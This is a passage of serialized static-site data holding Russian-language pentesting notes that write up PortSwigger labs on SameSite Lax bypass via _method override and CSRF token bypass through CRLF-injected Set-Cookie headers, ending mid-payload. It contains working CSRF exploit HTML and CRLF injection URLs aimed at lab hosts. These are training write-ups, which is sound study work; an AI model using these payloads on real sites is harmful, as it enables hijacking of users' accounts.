pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}",{"title":50,"searchDepth":98,"depth":98,"links":17468},[17469,17470],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34},"2026-05-04","Обход SameSite=Strict через client-side редирект на \u002Fpost\u002Fcomment\u002Fconfirmation с подменой postId.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-client-side-redirect",{"title":17151,"description":17472},"notes\u002Fpentesting\u002Fportswigger\u002Fsamesite-strict-bypass-via-client-side-redirect",[117,15399,16787,121],"pIANGDxkvCAMkwwC83qT21Nv_kKi1WQ-R4HjM0APC7Y",{"id":17480,"title":17481,"author":6,"body":17482,"date":17570,"description":17571,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":17572,"navigation":112,"notes":110,"path":17573,"psTitle":17496,"seo":17574,"stem":17575,"tags":17576,"timeSpent":10291,"type":123,"__hash__":17577},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-method-override.md","SameSite Lax bypass через method override (PortSwigger Lab)",{"type":8,"value":17483,"toc":17566},[17484,17488,17490,17497,17499,17505,17510,17520,17526,17529,17532,17563],[11,17485,17487],{"id":17486},"samesite-lax-bypass-через-method-override","SameSite Lax bypass через method override",[16,17489,19],{"id":18},[21,17491,17492,144],{},[24,17493,17496],{"href":17494,"rel":17495},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-samesite-restrictions\u002Flab-samesite-lax-bypass-via-method-override",[28],"SameSite Lax bypass via method override",[16,17498,34],{"id":33},[21,17500,17501,17502,17504],{},"Дано: хотим поменять пароль пользователя, используя CSRF-атаку, обойдя ограничение SameSite через method override. В данном случае ",[48,17503,15865],{},", значит кука будет улетать только при GET top-level navigation запросах, то есть когда меняется URL в строке браузера.",[21,17506,17507,17508,426],{},"Находим запрос, смотрим: POST-запрос, 1 параметр в теле — ",[48,17509,16020],{},[21,17511,17512,17513,17516,17517,215],{},"Окей, попробуем просто поменять POST на GET — ",[48,17514,17515],{},"Method not allowed",". Попробуем классику — query param ",[48,17518,17519],{},"_method",[41,17521,17524],{"className":17522,"code":17523,"language":46},[44],"GET \u002Fmy-account\u002Fchange-email?email=xui1@p.ru&_method=POST HTTP\u002F2\n",[48,17525,17523],{"__ignoreMap":50},[21,17527,17528],{},"Такая нагрузка проходит.",[21,17530,17531],{},"Что загрузим на эксплоит-сервер?",[41,17533,17535],{"className":2047,"code":17534,"language":2049,"meta":50,"style":50},"\u003Cscript>\n  location = 'https:\u002F\u002F0a6b0055046e423e8141849f004500f8.web-security-academy.net\u002Fmy-account\u002Fchange-email?email=hacked@p.ru&_method=POST'\n\u003C\u002Fscript>\n",[48,17536,17537,17545,17555],{"__ignoreMap":50},[308,17538,17539,17541,17543],{"class":310,"line":311},[308,17540,2056],{"class":911},[308,17542,2124],{"class":2059},[308,17544,2077],{"class":911},[308,17546,17547,17550,17552],{"class":310,"line":98},[308,17548,17549],{"class":911},"  location ",[308,17551,2066],{"class":1619},[308,17553,17554],{"class":671}," 'https:\u002F\u002F0a6b0055046e423e8141849f004500f8.web-security-academy.net\u002Fmy-account\u002Fchange-email?email=hacked@p.ru&_method=POST'\n",[308,17556,17557,17559,17561],{"class":310,"line":104},[308,17558,11372],{"class":911},[308,17560,2124],{"class":2059},[308,17562,2077],{"class":911},[357,17564,17565],{},"html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":50,"searchDepth":98,"depth":98,"links":17567},[17568,17569],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34},"2026-05-03","Обход SameSite=Lax заменой POST на GET с параметром _method и top-level navigation.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-method-override",{"title":17481,"description":17571},"notes\u002Fpentesting\u002Fportswigger\u002Fsamesite-lax-bypass-via-method-override",[117,15399,16787,121],"FhkiO-_nF_ws5CE2AZhLupr98BzJWNd52j9fKcS2hAc",{"id":17579,"title":17580,"author":6,"body":17581,"date":17771,"description":17772,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":17773,"navigation":112,"notes":110,"path":17774,"psTitle":17595,"seo":17775,"stem":17776,"tags":17777,"timeSpent":10291,"type":123,"__hash__":17779},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-duplicated-in-cookie.md","CSRF с токеном, продублированным в куки (PortSwigger Lab)",{"type":8,"value":17582,"toc":17767},[17583,17587,17589,17596,17598,17601,17607,17610,17616,17622,17629,17638,17763,17765],[11,17584,17586],{"id":17585},"csrf-с-токеном-продублированным-в-куки","CSRF с токеном, продублированным в куки",[16,17588,19],{"id":18},[21,17590,17591,144],{},[24,17592,17595],{"href":17593,"rel":17594},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-token-validation\u002Flab-token-duplicated-in-cookie",[28],"CSRF where token is duplicated in cookie",[16,17597,34],{"id":33},[21,17599,17600],{},"Дано: есть эксплоит-сервер и уязвимое приложение, в котором мы хотим поменять пароль у текущего пользователя, обойдя CSRF-защиту.",[21,17602,17603,17604,17606],{},"Окей, посмотрим, как происходит изменение пароля. Наблюдаем, что ",[48,17605,15399],{}," дублируется в теле запроса и в куки.",[21,17608,17609],{},"Куки:",[41,17611,17614],{"className":17612,"code":17613,"language":46},[44],"csrf=nt0nPbB6pgJTiVTFJeOZqPuOi7sdt3kf; session=FZB4InscWA9YK1iChehZ73tFUts8fZGW\n",[48,17615,17613],{"__ignoreMap":50},[21,17617,2989,17618,17621],{},[48,17619,17620],{},"nt0nPbB6pgJTiVTFJeOZqPuOi7sdt3kf",". Совпадают, дублируются.",[21,17623,17624,17625,17628],{},"Попробуем отправить запрос, где вместо токена в оба места напишем ",[48,17626,17627],{},"xxx",". Смена пароля происходит успешно. Похоже, мы можем переиспользовать пэйлоад из предыдущей лабы CSRF where token is tied to non-session cookie.",[21,17630,17631,17632,17634,17635,426],{},"Только в этот раз просто ставим любые одинаковые значения и в куки пишем значения для ",[48,17633,15399],{},", а не ",[48,17636,17637],{},"csrfKey",[41,17639,17641],{"className":2047,"code":17640,"language":2049,"meta":50,"style":50},"\u003Cform id=\"csrf\" action=\"https:\u002F\u002F0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n    \u003Cinput name=\"email\" value=\"wr3dmast3r@m.com\">\n    \u003Cinput name=\"csrf\" value=\"xxx\">\n\u003C\u002Fform>\n\n\u003Cimg src=\"https:\u002F\u002F0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrf=xxx%3B%20path=%2F%3B%20SameSite=None%3B%20Secure\" onerror=\"document.getElementById('csrf').submit()\">\n",[48,17642,17643,17671,17692,17713,17721,17725],{"__ignoreMap":50},[308,17644,17645,17647,17649,17651,17653,17656,17658,17660,17663,17665,17667,17669],{"class":310,"line":311},[308,17646,2056],{"class":911},[308,17648,15228],{"class":2059},[308,17650,13636],{"class":667},[308,17652,2066],{"class":911},[308,17654,17655],{"class":671},"\"csrf\"",[308,17657,16597],{"class":667},[308,17659,2066],{"class":911},[308,17661,17662],{"class":671},"\"https:\u002F\u002F0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net\u002Fmy-account\u002Fchange-email\"",[308,17664,15255],{"class":667},[308,17666,2066],{"class":911},[308,17668,15260],{"class":671},[308,17670,2077],{"class":911},[308,17672,17673,17675,17677,17679,17681,17683,17685,17687,17690],{"class":310,"line":98},[308,17674,11294],{"class":911},[308,17676,13408],{"class":2059},[308,17678,13421],{"class":667},[308,17680,2066],{"class":911},[308,17682,14737],{"class":671},[308,17684,13428],{"class":667},[308,17686,2066],{"class":911},[308,17688,17689],{"class":671},"\"wr3dmast3r@m.com\"",[308,17691,2077],{"class":911},[308,17693,17694,17696,17698,17700,17702,17704,17706,17708,17711],{"class":310,"line":104},[308,17695,11294],{"class":911},[308,17697,13408],{"class":2059},[308,17699,13421],{"class":667},[308,17701,2066],{"class":911},[308,17703,17655],{"class":671},[308,17705,13428],{"class":667},[308,17707,2066],{"class":911},[308,17709,17710],{"class":671},"\"xxx\"",[308,17712,2077],{"class":911},[308,17714,17715,17717,17719],{"class":310,"line":1327},[308,17716,11372],{"class":911},[308,17718,15228],{"class":2059},[308,17720,2077],{"class":911},[308,17722,17723],{"class":310,"line":1336},[308,17724,1636],{"emptyLinePlaceholder":112},[308,17726,17727,17729,17731,17733,17735,17738,17741,17743,17745,17748,17750,17753,17756,17758,17761],{"class":310,"line":1349},[308,17728,2056],{"class":911},[308,17730,693],{"class":2059},[308,17732,2063],{"class":667},[308,17734,2066],{"class":911},[308,17736,17737],{"class":671},"\"https:\u002F\u002F0aad008e030e9e7b826b1f6f001a0081.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrf=xxx%3B%20path=%2F%3B%20SameSite=None%3B%20Secure\"",[308,17739,17740],{"class":667}," onerror",[308,17742,2066],{"class":911},[308,17744,12040],{"class":671},[308,17746,17747],{"class":911},"document",[308,17749,426],{"class":671},[308,17751,17752],{"class":667},"getElementById",[308,17754,17755],{"class":671},"('csrf').",[308,17757,15367],{"class":667},[308,17759,17760],{"class":671},"()\"",[308,17762,2077],{"class":911},[21,17764,12197],{},[357,17766,12383],{},{"title":50,"searchDepth":98,"depth":98,"links":17768},[17769,17770],{"id":18,"depth":98,"text":19},{"id":33,"depth":98,"text":34},"2026-05-02","Подмена дублирующейся пары csrf=cookie через CRLF-инъекцию в Set-Cookie.",{},"\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-duplicated-in-cookie",{"title":17580,"description":17772},"notes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-duplicated-in-cookie",[117,15399,17778,121],"crlf-injection","tthxagjIoCUoA85aztJm_vYq2dcGAkbFyEgK5vWdYoQ",{"id":17781,"title":17782,"author":6,"body":17783,"date":17771,"description":18509,"difficulty":257,"extension":109,"image":110,"inProgress":110,"logged":110,"marathonStartDate":110,"meta":18510,"navigation":112,"notes":110,"path":18511,"psTitle":17797,"seo":18512,"stem":18513,"tags":18514,"timeSpent":18515,"type":123,"__hash__":18516},"content_ru\u002Fnotes\u002Fpentesting\u002Fportswigger\u002Fcsrf-token-tied-to-non-session-cookie.md","CSRF с токеном, привязанным не к сессионной куке (PortSwigger Lab)",{"type":8,"value":17784,"toc":18505},[17785,17789,17791,17798,17800,17803,17819,17830,17839,17848,17855,17861,17867,17873,17876,17882,17895,17898,17979,17982,18028,18035,18041,18044,18168,18174,18180,18189,18227,18230,18345,18355,18369,18372,18378,18381,18497,18500,18503],[11,17786,17788],{"id":17787},"csrf-с-токеном-привязанным-не-к-сессионной-куке","CSRF с токеном, привязанным не к сессионной куке",[16,17790,19],{"id":18},[21,17792,17793,144],{},[24,17794,17797],{"href":17795,"rel":17796},"https:\u002F\u002Fportswigger.net\u002Fweb-security\u002Fcsrf\u002Fbypassing-token-validation\u002Flab-token-tied-to-non-session-cookie",[28],"CSRF where token is tied to non-session cookie",[16,17799,34],{"id":33},[21,17801,17802],{},"Дано: нужно заменить email пользователя, создав вредоносную страницу, попутно обойдя защиту с помощью CSRF-токена. Ок, изучим, как работает смена email.",[21,17804,17805,17806,17809,17810,3483,17812,17814,17815,17818],{},"Скрытое поле CSRF — ",[48,17807,17808],{},"6m9B7huvo0lU04m7EVxdWFMD7jDLb8J1",". Смотрим, что у нас в куках: ",[48,17811,11853],{},[48,17813,17637],{},". Интересно. Чекаем запрос на ",[48,17816,17817],{},"POST \u002Fchange-email",". Улетает email + CSRF из скрытого поля. И естественно куки.",[21,17820,17821,17822,17824,17825,973,17827,17829],{},"Получается, сервер проверяет соответствие ",[48,17823,15399],{},"-токена и ",[48,17826,17637],{},[48,17828,11853],{}," он не учитывает при проверке.",[21,17831,17832,17833,17835,17836,17838],{},"Вектор атаки: подмена куки ",[48,17834,17637],{}," у жертвы и подстановка ",[48,17837,15399],{},"-токена. Нам дали эксплоит-сервер.",[21,17840,17841,17842,17844,17845,17847],{},"Главный вопрос — как установить куку жертве? Как мне подсказал ментор, можно посмотреть в сторону ",[48,17843,2409],{},"-атаки и инжектить свой заголовок ",[48,17846,16828],{},", при учёте, что на сайте есть функция, которая рефлектит в этот заголовок.",[21,17849,17850,17851,17854],{},"Похоже, функция поиска — единственный вариант. Пробуем поискать ",[48,17852,17853],{},"wr3dmast3r",". И правда:",[41,17856,17859],{"className":17857,"code":17858,"language":46},[44],"set-cookie: LastSearchTerm=wr3dmast3r; Secure; HttpOnly\n",[48,17860,17858],{"__ignoreMap":50},[21,17862,17863,17864,215],{},"Тогда нагрузка может выглядеть так — ",[48,17865,17866],{},"?search=wr3dmast3r%0d%0aSet-Cookie:%20csrfKey=hacked%3B%20path=%2F",[41,17868,17871],{"className":17869,"code":17870,"language":46},[44],"GET \u002F?search=test%0d%0aSet-Cookie:%20csrfKey=some%3B%20path=%2F HTTP\u002F2\n",[48,17872,17870],{"__ignoreMap":50},[21,17874,17875],{},"Ответ от сервера:",[41,17877,17880],{"className":17878,"code":17879,"language":46},[44],"Set-Cookie: LastSearchTerm=test\nSet-Cookie: csrfKey=hacked; path=\u002F; Secure; HttpOnly\n",[48,17881,17879],{"__ignoreMap":50},[21,17883,17884,17885,17887,17888,17891,17892,17894],{},"Для реализации полной атаки на эксплоит-сервере разместим страницу с iframe и формой смены пароля, который будет загружать страницу поиска с нашей нагрузкой, которая установит заранее подготовленный ",[48,17886,17637],{}," в куки пользователя, в событии ",[48,17889,17890],{},"onload"," уже засабмиттим форму с заранее подготовленным ",[48,17893,15399],{},"-токеном, и таким образом мы сменим пароль.",[21,17896,17897],{},"Форма:",[41,17899,17901],{"className":2047,"code":17900,"language":2049,"meta":50,"style":50},"\u003Cform id=\"csrf\" action=\"URL лабы + \u002Fmy-account\u002Fchange-email\" method=\"POST\">\n    \u003Cinput name=\"email\" value=\"wr3dmast3r@m.com\">\n    \u003Cinput name=\"csrf\" value=\"TOKEN\">\n\u003C\u002Fform>\n",[48,17902,17903,17930,17950,17971],{"__ignoreMap":50},[308,17904,17905,17907,17909,17911,17913,17915,17917,17919,17922,17924,17926,17928],{"class":310,"line":311},[308,17906,2056],{"class":911},[308,17908,15228],{"class":2059},[308,17910,13636],{"class":667},[308,17912,2066],{"class":911},[308,17914,17655],{"class":671},[308,17916,16597],{"class":667},[308,17918,2066],{"class":911},[308,17920,17921],{"class":671},"\"URL лабы + \u002Fmy-account\u002Fchange-email\"",[308,17923,15255],{"class":667},[308,17925,2066],{"class":911},[308,17927,15260],{"class":671},[308,17929,2077],{"class":911},[308,17931,17932,17934,17936,17938,17940,17942,17944,17946,17948],{"class":310,"line":98},[308,17933,11294],{"class":911},[308,17935,13408],{"class":2059},[308,17937,13421],{"class":667},[308,17939,2066],{"class":911},[308,17941,14737],{"class":671},[308,17943,13428],{"class":667},[308,17945,2066],{"class":911},[308,17947,17689],{"class":671},[308,17949,2077],{"class":911},[308,17951,17952,17954,17956,17958,17960,17962,17964,17966,17969],{"class":310,"line":104},[308,17953,11294],{"class":911},[308,17955,13408],{"class":2059},[308,17957,13421],{"class":667},[308,17959,2066],{"class":911},[308,17961,17655],{"class":671},[308,17963,13428],{"class":667},[308,17965,2066],{"class":911},[308,17967,17968],{"class":671},"\"TOKEN\"",[308,17970,2077],{"class":911},[308,17972,17973,17975,17977],{"class":310,"line":1327},[308,17974,11372],{"class":911},[308,17976,15228],{"class":2059},[308,17978,2077],{"class":911},[21,17980,17981],{},"iframe:",[41,17983,17985],{"className":2047,"code":17984,"language":2049,"meta":50,"style":50},"\u003Ciframe src=\"https:\u002F\u002FLAB\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=KEY%3B%20path=%2F\"\n  onload=\"document.getElementById('csrf').submit()}\">\u003C\u002Fiframe>\n",[48,17986,17987,18000],{"__ignoreMap":50},[308,17988,17989,17991,17993,17995,17997],{"class":310,"line":311},[308,17990,2056],{"class":911},[308,17992,2060],{"class":2059},[308,17994,2063],{"class":667},[308,17996,2066],{"class":911},[308,17998,17999],{"class":671},"\"https:\u002F\u002FLAB\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=KEY%3B%20path=%2F\"\n",[308,18001,18002,18005,18007,18009,18011,18013,18015,18017,18019,18022,18024,18026],{"class":310,"line":98},[308,18003,18004],{"class":667},"  onload",[308,18006,2066],{"class":911},[308,18008,12040],{"class":671},[308,18010,17747],{"class":911},[308,18012,426],{"class":671},[308,18014,17752],{"class":667},[308,18016,17755],{"class":671},[308,18018,15367],{"class":667},[308,18020,18021],{"class":671},"()}\"",[308,18023,2072],{"class":911},[308,18025,2060],{"class":2059},[308,18027,2077],{"class":911},[21,18029,18030,18031,18034],{},"Сделаем запрос на ",[48,18032,18033],{},"\u002Fmy-account"," и получим ключ и токен для атаки:",[41,18036,18039],{"className":18037,"code":18038,"language":46},[44],"csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi\ncsrf=g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J\n",[48,18040,18038],{"__ignoreMap":50},[21,18042,18043],{},"Итог:",[41,18045,18047],{"className":2047,"code":18046,"language":2049,"meta":50,"style":50},"\u003Cform id=\"csrf\" action=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n    \u003Cinput name=\"email\" value=\"wr3dmast3r@m.com\">\n    \u003Cinput name=\"csrf\" value=\"g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J\">\n\u003C\u002Fform>\n\n\u003Ciframe src=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F\"\n  onload=\"document.getElementById('csrf').submit()}\">\u003C\u002Fiframe>\n",[48,18048,18049,18076,18096,18117,18125,18129,18142],{"__ignoreMap":50},[308,18050,18051,18053,18055,18057,18059,18061,18063,18065,18068,18070,18072,18074],{"class":310,"line":311},[308,18052,2056],{"class":911},[308,18054,15228],{"class":2059},[308,18056,13636],{"class":667},[308,18058,2066],{"class":911},[308,18060,17655],{"class":671},[308,18062,16597],{"class":667},[308,18064,2066],{"class":911},[308,18066,18067],{"class":671},"\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002Fmy-account\u002Fchange-email\"",[308,18069,15255],{"class":667},[308,18071,2066],{"class":911},[308,18073,15260],{"class":671},[308,18075,2077],{"class":911},[308,18077,18078,18080,18082,18084,18086,18088,18090,18092,18094],{"class":310,"line":98},[308,18079,11294],{"class":911},[308,18081,13408],{"class":2059},[308,18083,13421],{"class":667},[308,18085,2066],{"class":911},[308,18087,14737],{"class":671},[308,18089,13428],{"class":667},[308,18091,2066],{"class":911},[308,18093,17689],{"class":671},[308,18095,2077],{"class":911},[308,18097,18098,18100,18102,18104,18106,18108,18110,18112,18115],{"class":310,"line":104},[308,18099,11294],{"class":911},[308,18101,13408],{"class":2059},[308,18103,13421],{"class":667},[308,18105,2066],{"class":911},[308,18107,17655],{"class":671},[308,18109,13428],{"class":667},[308,18111,2066],{"class":911},[308,18113,18114],{"class":671},"\"g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J\"",[308,18116,2077],{"class":911},[308,18118,18119,18121,18123],{"class":310,"line":1327},[308,18120,11372],{"class":911},[308,18122,15228],{"class":2059},[308,18124,2077],{"class":911},[308,18126,18127],{"class":310,"line":1336},[308,18128,1636],{"emptyLinePlaceholder":112},[308,18130,18131,18133,18135,18137,18139],{"class":310,"line":1349},[308,18132,2056],{"class":911},[308,18134,2060],{"class":2059},[308,18136,2063],{"class":667},[308,18138,2066],{"class":911},[308,18140,18141],{"class":671},"\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F\"\n",[308,18143,18144,18146,18148,18150,18152,18154,18156,18158,18160,18162,18164,18166],{"class":310,"line":1360},[308,18145,18004],{"class":667},[308,18147,2066],{"class":911},[308,18149,12040],{"class":671},[308,18151,17747],{"class":911},[308,18153,426],{"class":671},[308,18155,17752],{"class":667},[308,18157,17755],{"class":671},[308,18159,15367],{"class":667},[308,18161,18021],{"class":671},[308,18163,2072],{"class":911},[308,18165,2060],{"class":2059},[308,18167,2077],{"class":911},[21,18169,18170,18171,215],{},"Проблема, установлен ",[48,18172,18173],{},"X-Frame-Options",[41,18175,18178],{"className":18176,"code":18177,"language":46},[44],"Refused to display 'https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F' in a frame because it set 'X-Frame-Options' to 'sameorigin'.\n",[48,18179,18177],{"__ignoreMap":50},[21,18181,18182,18183,18185,18186,215],{},"Можно попробовать ",[48,18184,693],{},", нам ведь нужно только запрос отправить. Только обработчик будет ",[48,18187,18188],{},"onerror",[41,18190,18192],{"className":2047,"code":18191,"language":2049,"meta":50,"style":50},"\u003Cimg src=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F\" onerror=\"document.getElementById('csrf').submit()}\">\n",[48,18193,18194],{"__ignoreMap":50},[308,18195,18196,18198,18200,18202,18204,18207,18209,18211,18213,18215,18217,18219,18221,18223,18225],{"class":310,"line":311},[308,18197,2056],{"class":911},[308,18199,693],{"class":2059},[308,18201,2063],{"class":667},[308,18203,2066],{"class":911},[308,18205,18206],{"class":671},"\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F\"",[308,18208,17740],{"class":667},[308,18210,2066],{"class":911},[308,18212,12040],{"class":671},[308,18214,17747],{"class":911},[308,18216,426],{"class":671},[308,18218,17752],{"class":667},[308,18220,17755],{"class":671},[308,18222,15367],{"class":667},[308,18224,18021],{"class":671},[308,18226,2077],{"class":911},[21,18228,18229],{},"Итог 2:",[41,18231,18233],{"className":2047,"code":18232,"language":2049,"meta":50,"style":50},"\u003Cform id=\"csrf\" action=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n    \u003Cinput name=\"email\" value=\"wr3dmast3r@m.com\">\n    \u003Cinput name=\"csrf\" value=\"g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J\">\n\u003C\u002Fform>\n\n\u003Cimg src=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F\" onerror=\"document.getElementById('csrf').submit()\">\n",[48,18234,18235,18261,18281,18301,18309,18313],{"__ignoreMap":50},[308,18236,18237,18239,18241,18243,18245,18247,18249,18251,18253,18255,18257,18259],{"class":310,"line":311},[308,18238,2056],{"class":911},[308,18240,15228],{"class":2059},[308,18242,13636],{"class":667},[308,18244,2066],{"class":911},[308,18246,17655],{"class":671},[308,18248,16597],{"class":667},[308,18250,2066],{"class":911},[308,18252,18067],{"class":671},[308,18254,15255],{"class":667},[308,18256,2066],{"class":911},[308,18258,15260],{"class":671},[308,18260,2077],{"class":911},[308,18262,18263,18265,18267,18269,18271,18273,18275,18277,18279],{"class":310,"line":98},[308,18264,11294],{"class":911},[308,18266,13408],{"class":2059},[308,18268,13421],{"class":667},[308,18270,2066],{"class":911},[308,18272,14737],{"class":671},[308,18274,13428],{"class":667},[308,18276,2066],{"class":911},[308,18278,17689],{"class":671},[308,18280,2077],{"class":911},[308,18282,18283,18285,18287,18289,18291,18293,18295,18297,18299],{"class":310,"line":104},[308,18284,11294],{"class":911},[308,18286,13408],{"class":2059},[308,18288,13421],{"class":667},[308,18290,2066],{"class":911},[308,18292,17655],{"class":671},[308,18294,13428],{"class":667},[308,18296,2066],{"class":911},[308,18298,18114],{"class":671},[308,18300,2077],{"class":911},[308,18302,18303,18305,18307],{"class":310,"line":1327},[308,18304,11372],{"class":911},[308,18306,15228],{"class":2059},[308,18308,2077],{"class":911},[308,18310,18311],{"class":310,"line":1336},[308,18312,1636],{"emptyLinePlaceholder":112},[308,18314,18315,18317,18319,18321,18323,18325,18327,18329,18331,18333,18335,18337,18339,18341,18343],{"class":310,"line":1349},[308,18316,2056],{"class":911},[308,18318,693],{"class":2059},[308,18320,2063],{"class":667},[308,18322,2066],{"class":911},[308,18324,18206],{"class":671},[308,18326,17740],{"class":667},[308,18328,2066],{"class":911},[308,18330,12040],{"class":671},[308,18332,17747],{"class":911},[308,18334,426],{"class":671},[308,18336,17752],{"class":667},[308,18338,17755],{"class":671},[308,18340,15367],{"class":667},[308,18342,17760],{"class":671},[308,18344,2077],{"class":911},[21,18346,18347,18348,18351,18352,426],{},"Странно, чекаю на своём акке. Улетает наш картиночный запрос ",[48,18349,18350],{},"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F",", ок, ставятся наши куки ",[48,18353,18354],{},"csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi;",[21,18356,18357,18358,1092,18360,18363,18364,1092,18366,426],{},"После этого мы сабмиттим форму, там есть ",[48,18359,15399],{},[48,18361,18362],{},"g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J",". И смотрим куки, опа, а тут другой ",[48,18365,17637],{},[48,18367,18368],{},"csrfKey=Fwfr4OYp5ZylU8JjNAQt6ZSKfrfRqvr4;",[21,18370,18371],{},"Видимо, всё-таки не ставится.",[21,18373,18374,18375,426],{},"Почитал, попробую поставить ",[48,18376,18377],{},"SameSite=None;",[21,18379,18380],{},"Итог 3:",[41,18382,18384],{"className":2047,"code":18383,"language":2049,"meta":50,"style":50},"\u003Cform id=\"csrf\" action=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002Fmy-account\u002Fchange-email\" method=\"POST\">\n    \u003Cinput name=\"email\" value=\"wr3dmast3r@m.com\">\n    \u003Cinput name=\"csrf\" value=\"g3ehBjNaTdNvZFQZrjQZOJtgKfwN4t7J\">\n\u003C\u002Fform>\n\n\u003Cimg src=\"https:\u002F\u002F0adc008703793a5cb59757ad003c00b7.web-security-academy.net\u002F?search=x%0d%0aSet-Cookie:%20csrfKey=4R2LwIb3nq5LOTqKFrlbX8vbXdPF7rGi%3B%20path=%2F%3B%20SameSite=None%3B%20Secure\" 